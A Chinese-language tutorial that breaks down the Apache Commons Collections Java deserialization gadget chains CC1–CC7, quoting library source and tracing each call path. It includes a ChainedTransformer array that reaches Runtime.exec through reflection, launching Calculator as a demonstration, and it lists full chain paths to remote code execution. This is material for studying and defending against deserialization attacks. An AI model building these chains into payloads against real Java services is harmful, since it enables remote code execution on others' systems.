CC链碎片

CC链碎片

众所周知,CC链本质上就是对不同的反序列化进行拼凑得到的,那么我们只要将其中的碎片进行总结再加以利用就可以构造出所有的CC链,这篇水文就是用来总结CC中的所有碎片的

三个Transform方法(CC链实现关键)

使用链:都是关键了你说谁用

  1. InvokerTransformer(调用者转换器)

    可以看到通过获取this.iMethodName, this.iParamTypes, this.iArgs来反射调用传入类的方法,其中内容都可控,那我们是不是只要传入一个Runtime对象,调用其中的exec方法,就能任意命令执行了呢

    直接调用可行性验证

    发现成功执行了,但是直接找到⼀个类,它在反序列化的 readObject 里直接或间接调用了 InvokerTransformertransform 方法,并且参数可控,就能RCE,是这样吗?肯定不是,我们都知道待序列化的对象和所有它使⽤的内部属性对象,必须都实现了 java.io.Serializable 接⼝。我们需要传给 transform 方法的参数是 Runtime 对象,在序列化的时候肯定也属于内部属性对象,而它是没有实现 java.io.Serializable 接⼝的,所以即使找到了符合条件的类也没办法构造成序列化数据。

  2. ChainedTransformer(链条转换器)

    此类的transform通过按顺序调用 Transformer 数组 this.iTransformers 中所有 Transformer 对象的 transform 方法,并且每次调用的结果传递给下一个项目的transform进行调用,就像一个链条一样逐层传递执行,那么二者结合我们就可以利用InvokerTransformer通过反射来间接生成一个Runtime类,进而RCE

    //反射获取Runtime类
    Class clazz = Class.forName("java.lang.Runtime");
    Method getRuntimeMethod = clazz.getMethod("getRuntime");
    Runtime runtime = (Runtime) getRuntimeMethod.invoke(null);
    runtime.exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
    //链式调用写法
    Transformer[] transformers = new Transformer[]{
            new InvokerTransformer(//生成Runtime类对象,此处也可使用ConstantTransformer直接调用Runtime.class
                    "forName",
                    new Class[] {String.class},
                    new Object[] {"java.lang.Runtime"}
            ),
            new InvokerTransformer(//获取getRuntime方法
                    "getMethod",
                    new Class[] {String.class,Class[].class},
                    new Object[] {"getRuntime",new Class[0]}
            ),
            new InvokerTransformer("invoke", new Class[] {//获取invoke方法执行
                    Object.class, Object[].class }, new Object[] {
                    null, new Object[0] }),
            new InvokerTransformer(//RCE
                    "exec",
                    new Class[] {String.class},
                    new String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}
            )
    };

    最后调用 ChainedTransformer#transform() 即可,参数为 class对象Class.class

    最后就是我们怎么获取到一个class对象作为我们链式调用的起点,我们继续往下走

  3. ConstantTransformer(常量转换器)

    最后我们再来看ConstantTransformer,这个类实现了序列化接口所以也可以进行反序列化

    可以看到transform函数就直接返回了this.iConstant,这里的iConstant我们直接传入即可,说白了就是拿一个对象包裹一个对象(听起来多少有点没用),不过,由于其transform方法会将其中的iConstant直接返回,我们就可以在其中包裹一个class类对象来作为上面的链式调用的起点,最终构造的链子如下

    最终只要调用transform随便扔点啥进去都能调用成功

  4. InstantiateTransformer(实例化转换器)

    public Object transform(Object input) {
        try {
            if (input instanceof Class == false) {
                throw new FunctorException(
                    "InstantiateTransformer: Input object was not an instanceof Class, it was a "
                        + (input == null ? "null object" : input.getClass().getName()));
            }
            Constructor con = ((Class) input).getConstructor(iParamTypes);
            return con.newInstance(iArgs);
    
        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");
        } catch (InstantiationException ex) {
            throw new FunctorException("InstantiateTransformer: InstantiationException", ex);
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InstantiateTransformer: Constructor must be public", ex);
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InstantiateTransformer: Constructor threw an exception", ex);
        }
    }

    这个类的关键点也在transform处,相当于调用了传入内容的类的构造函数,然后再加上TrAXFilter类来进行RCE,所以也可以说这两个类是连在一起使用的

AnnotationInvocationHandler

使用链:CC1

首先我们要知道的一点是,对于任意一个代理后的类,在调用类的任意方法时,都会调用其invoke方法,所以这个类有两个使用点,一个是作为readObject反序列化的起点,一个是作为代理中的类进行重写进而对代理的Map类的get方法进行触发

利用链:

AnnotationInvocationHandler.readObject()->Map(Proxy).enteySet()->AnnotationInvocationHandler.invoke()->memberValues@LazyMap.get()

readObject

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        var1.defaultReadObject();
        AnnotationType var2 = null;

        try {
            var2 = AnnotationType.getInstance(this.type);
        } catch (IllegalArgumentException var9) {
            throw new InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map var3 = var2.memberTypes();
        Iterator var4 = this.memberValues.entrySet().iterator();

        while(var4.hasNext()) {
            Map.Entry var5 = (Map.Entry)var4.next();
            String var6 = (String)var5.getKey();
            Class var7 = (Class)var3.get(var6);
            if (var7 != null) {
                Object var8 = var5.getValue();
                if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                    var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
                }
            }
        }

    }

此处触发了memberValues的enteySet方法,由于我们设置的memberValues是被代理的Map类,所以会进入下一步,AnnotationInvocationHandler的invoke方法

invoke

public Object invoke(Object var1, Method var2, Object[] var3) {
        String var4 = var2.getName();
        Class[] var5 = var2.getParameterTypes();
        if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
            return this.equalsImpl(var3[0]);
        } else if (var5.length != 0) {
            throw new AssertionError("Too many parameters for an annotation method");
        } else {
            switch (var4) {
                case "toString":
                    return this.toStringImpl();
                case "hashCode":
                    return this.hashCodeImpl();
                case "annotationType":
                    return this.type;
                default:
                    Object var6 = this.memberValues.get(var4);
                    if (var6 == null) {
                        throw new IncompleteAnnotationException(this.type, var4);
                    } else if (var6 instanceof ExceptionProxy) {
                        throw ((ExceptionProxy)var6).generateException();
                    } else {
                        if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
                            var6 = this.cloneArray(var6);
                        }

                        return var6;
                    }
            }
        }
    }

可以看到调用了memberValues的get方法这里便是对Map(实际调用LazyMap)的get方法的调用

LazyMap(Map)

使用链:CC1

一个小小的关键点,在调用equals会看到,因为我在看的时候在这个类里一直都没看到equals方法,public class LazyMap extends AbstractMapDecorator implements Map, Serializable继承和实现的类AbstractMapDecorator中是有equals方法的,跟入

利用链:

Map.get()->factory@chainedTransformer.transform(key)

Hashtable.reconstitutionPut()->e.key@LazyMap.equals(key@LazyMap)->AbstractMapDecorator.equals()->AbstractMap.equals()->m@LazyMap.get()

get

public Object get(Object key) {
    if (map.containsKey(key) == false) {
        Object value = factory.transform(key);
        map.put(key, value);
        return value;
    }
    return map.get(key);
}

可见get方法中对key调用了factory的transform方法,此处的factory可控并且为Transformer类(我们一般使用chainedTransformer来调用),触发chainedTransformer链式调用

equals(AbstractMapDecorator)

public boolean equals(Object object) {
    if (object == this) {
        return true;
    }
    return map.equals(object);
}

此处map只要是map类就行,就是本来的LazyMap本人,继续调用AbstractMap中的euqals

equals(AbstractMap)

public boolean equals(Object o) {
    if (o == this)
        return true;

    if (!(o instanceof Map))
        return false;
    Map<K,V> m = (Map<K,V>) o;
    if (m.size() != size())
        return false;

    try {
        Iterator<Entry<K,V>> i = entrySet().iterator();
        while (i.hasNext()) {
            Entry<K,V> e = i.next();
            K key = e.getKey();
            V value = e.getValue();
            if (value == null) {
                if (!(m.get(key)==null && m.containsKey(key)))
                    return false;
            } else {
                if (!value.equals(m.get(key)))
                    return false;
            }
        }
    } catch (ClassCastException unused) {
        return false;
    } catch (NullPointerException unused) {
        return false;
    }

    return true;
}

可以看到调用了m.get,LazyMap结束

PriorityQueue

使用链:CC2

利用链:

PriorityQueue.readObject()->PriorityQueue.heapify()->PriorityQueue.siftDown()->PriorityQueue.siftDownUsingComparator()->comparator@TransformingComparator.compare()

readObject

private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    // Read in size, and any hidden stuff
    s.defaultReadObject();

    // Read in (and discard) array length
    s.readInt();

    queue = new Object[size];

    // Read in all elements.
    for (int i = 0; i < size; i++)
        queue[i] = s.readObject();

    // Elements are guaranteed to be in "proper order", but the
    // spec has never explained what that might be.
    heapify();
}
//这里readObject->heapify->siftDown->siftDownUsingComparator中间过程不再赘述,感兴趣的可以自己走一遍(也没两句代码)

就最后一句有用

siftDownUsingComparator(用Comparator进行降序排序)

private void siftDownUsingComparator(int k, E x) {
    int half = size >>> 1;
    while (k < half) {
        int child = (k << 1) + 1;
        Object c = queue[child];
        int right = child + 1;
        if (right < size &&
            comparator.compare((E) c, (E) queue[right]) > 0)
            c = queue[child = right];
        if (comparator.compare(x, (E) c) <= 0)
            break;
        queue[k] = c;
        k = child;
    }
    queue[k] = x;
}

此处关键在于调用了comparator.compare,此处的Comparator我们可控,一般定义为TransformingComparator,这样我对PriorityQueue就结束了

TransformingComparator

使用链:CC2

利用链:

PriorityQueue.siftDownUsingComparator()->TransformingComparator.compare()

compare

public int compare(Object obj1, Object obj2) {
    Object value1 = this.transformer.transform(obj1);
    Object value2 = this.transformer.transform(obj2);
    return this.decorated.compare(value1, value2);
}

不用多说了吧,直接调用transform方法了,transformer可控

TrAXFilter

使用链:

该类一般和InstantiateTransformer一起使用进行RCE

利用链:

InstantiateTransformer.transform()->TrAXFilter()

TrAXFilter(构造函数)

public TrAXFilter(Templates templates)  throws
    TransformerConfigurationException
{
    _templates = templates;
    _transformer = (TransformerImpl) templates.newTransformer();
    _transformerHandler = new TransformerHandlerImpl(_transformer);
    _useServicesMechanism = _transformer.useServicesMechnism();
}

这里能看到构造函数调用了templates.newTransformer方法,此处templates可控并且为Templates类,我们传入一个TemplatesImpl类对象,加载恶意字节码即可RCE(见CB1链)

BadAttributeValueExpException

使用链:CC5

利用链:

BadAttributeValueExpException.readObject()->valObj@TiedMapEntry.toString()

该链要求极高This only works in JDK 8u76 and WITHOUT a security manager

直接把这段利用关系看了吧

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
    ObjectInputStream.GetField gf = ois.readFields();
    Object valObj = gf.get("val", null);

    if (valObj == null) {
        val = null;
    } else if (valObj instanceof String) {
        val= valObj;
    } else if (System.getSecurityManager() == null
            || valObj instanceof Long
            || valObj instanceof Integer
            || valObj instanceof Float
            || valObj instanceof Double
            || valObj instanceof Byte
            || valObj instanceof Short
            || valObj instanceof Boolean) {
        val = valObj.toString();
    } else { // the serialized object is from a version without JDK-8019292 fix
        val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
    }
}

首先因为我们呢传入的Obj肯定不是字符串,也不会在基础类型中,所以就需要System.getSecurityManager()==null才能进入到valObj.toString方法中

下一步就是找到可以进行触发的toString方法,这里使用的是TiedMapEntry

TiedMapEntry

利用链:

BadAttributeValueExpException.readObject()->TiedMapEntry.toString()->TiedMapEntry.getValue()->map@LazyMap.get()

HashMap.hash()->key@TiedMapEntry.hashCode()->TiedMapEntry.getValue()->map@LazyMap.get()

toString

public String toString() {
    return getKey() + "=" + getValue();
}

public class TiedMapEntry implements Map.Entry, KeyValue, Serializable {
    /** The map underlying the entry/iterator */    
    private final Map map;
    /** The key */
    private final Object key;
}

调用getValue

getValue

public Object getValue() {
    return map.get(key);
}

调用map的get方法,此处map可直接使用LazyMap类,和上面对Map中的get方法的调用进行衔接

hashCode

public int hashCode() {
    Object value = getValue();
    return (getKey() == null ? 0 : getKey().hashCode()) ^
           (value == null ? 0 : value.hashCode()); 
}

调用了getValue方法

HashSet

使用链:CC6

利用链:

HashSet.readObject()->map@HashMap.put()

readObject

//private transient HashMap<E,Object> map;
private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    // Read in any hidden serialization magic
    s.defaultReadObject();
    // Read in HashMap capacity and load factor and create backing HashMap
    int capacity = s.readInt();
    float loadFactor = s.readFloat();
    map = (((HashSet)this) instanceof LinkedHashSet ?
           new LinkedHashMap<E,Object>(capacity, loadFactor) :
           new HashMap<E,Object>(capacity, loadFactor));
    // Read in size
    int size = s.readInt();
    // Read in all elements in the proper order.
    for (int i=0; i<size; i++) {
        E e = (E) s.readObject();
        map.put(e, PRESENT);
    }
}

我们直接跟链子,看到最后调用了map的put方法,并且此处的map被限定为了HashMap类,直接往下跟

HashMap

使用链:CC6

利用链:

HashSet.readObject()->map@HashMap.put()->HashMap.hash()->key@TiedMapEntry.hashCode()

put

public V put(K key, V value) {
    if (table == EMPTY_TABLE) {
        inflateTable(threshold);
    }
    if (key == null)
        return putForNullKey(value);
    int hash = hash(key);
    int i = indexFor(hash, table.length);
    for (Entry<K,V> e = table[i]; e != null; e = e.next) {
        Object k;
        if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
            V oldValue = e.value;
            e.value = value;
            e.recordAccess(this);
            return oldValue;
        }
    }
    modCount++;
    addEntry(hash, key, value, i);
    return null;
}

此处put方法带着key调用了hash方法

hash

final int hash(Object k) {
    int h = hashSeed;
    if (0 != h && k instanceof String) {
        return sun.misc.Hashing.stringHash32((String) k);
    }

    h ^= k.hashCode();

    // This function ensures that hashCodes that differ only by
    // constant multiples at each bit position have a bounded
    // number of collisions (approximately 8 at default load factor).
    h ^= (h >>> 20) ^ (h >>> 12);
    return h ^ (h >>> 7) ^ (h >>> 4);
}

传入的key执行它的hashCode方法,此处设置key的类为TiedMapEntry

Hashtable

利用链:

Hashtable.readObject()->Hashtable.reconstitutionPut()->e.key@LazyMap.equals(key@LazyMap)

readObject

private void readObject(java.io.ObjectInputStream s)
     throws IOException, ClassNotFoundException
{
    // Read in the length, threshold, and loadfactor
    s.defaultReadObject();

    // Read the original length of the array and number of elements
    int origlength = s.readInt();
    int elements = s.readInt();

    // Compute new size with a bit of room 5% to grow but
    // no larger than the original size.  Make the length
    // odd if it's large enough, this helps distribute the entries.
    // Guard against the length ending up zero, that's not valid.
    int length = (int)(elements * loadFactor) + (elements / 20) + 3;
    if (length > elements && (length & 1) == 0)
        length--;
    if (origlength > 0 && length > origlength)
        length = origlength;

    Entry<K,V>[] newTable = new Entry[length];
    threshold = (int) Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1);
    count = 0;
    initHashSeedAsNeeded(length);

    // Read the number of elements and then all the key/value objects
    for (; elements > 0; elements--) {
        K key = (K)s.readObject();
        V value = (V)s.readObject();
        // synch could be eliminated for performance
        reconstitutionPut(newTable, key, value);
    }
    this.table = newTable;
}

看不懂(bushi)直接看关键reconstitutionPut

reconstitutionPut

private void reconstitutionPut(Entry<K,V>[] tab, K key, V value)
    throws StreamCorruptedException
{
    if (value == null) {
        throw new java.io.StreamCorruptedException();
    }
    // Makes sure the key is not already in the hashtable.
    // This should not happen in deserialized version.
    int hash = hash(key);
    int index = (hash & 0x7FFFFFFF) % tab.length;
    for (Entry<K,V> e = tab[index] ; e != null ; e = e.next) {
        if ((e.hash == hash) && e.key.equals(key)) {
            throw new java.io.StreamCorruptedException();
        }
    }
    // Creates the new entry.
    Entry<K,V> e = tab[index];
    tab[index] = new Entry<>(hash, key, value, e);
    count++;
}

此处调用了e.key.equals(key),两个key都是LazyMap类型,跟入对应类中方法

最终总结出各个链子利用如下

CC1

AnnotationInvocationHandler.readObject()->Map(Proxy).enteySet()->AnnotationInvocationHandler.invoke()->memberValues@LazyMap.get()->factory@chainedTransformer.transform(key)->Runtime.exec()

CC2

PriorityQueue.readObject()->comparator@TransformingComparator.compare()->transformer@InvokerTransformer.transform(obj1@TemplatesImpl)->TemplatesImpl.newTransformer()

CC3

AnnotationInvocationHandler.readObject()->Map(Proxy).enteySet()->AnnotationInvocationHandler.invoke()->memberValues@LazyMap.get()->factory@chainedTransformer.transform(key)->TemplatesImpl.newTransformer()

CC4

PriorityQueue.readObject()->comparator@TransformingComparator.compare()->transformer@InstantiateTransformer.transform(obj1@TrAXFilter.class)->TrAXFilter(templates@TemplatesImpl)->templates@TemplatesImpl.newTransformer()

CC5

BadAttributeValueExpException.readObject()->valObj@TiedMapEntry.toString()->map@LazyMap.get()->ChainedTransformer.transform()->InvokerTransformer.transform()->Runtime.exec()

CC6

HashSet.readObject()->map@HashMap.put()->key@TiedMapEntry.hashCode()->getValue()->map@LazyMap.get()->ChainedTransformer.transform()->InvokerTransformer.transform()->Runtime.exec()

CC7

Hashtable.readObject()->Hashtable.reconstitutionPut()->e.key@LazyMap.equals(key@LazyMap)->AbstractMapDecorator.equals()->AbstractMap.equals()->m@LazyMap.get()

最后来两张好图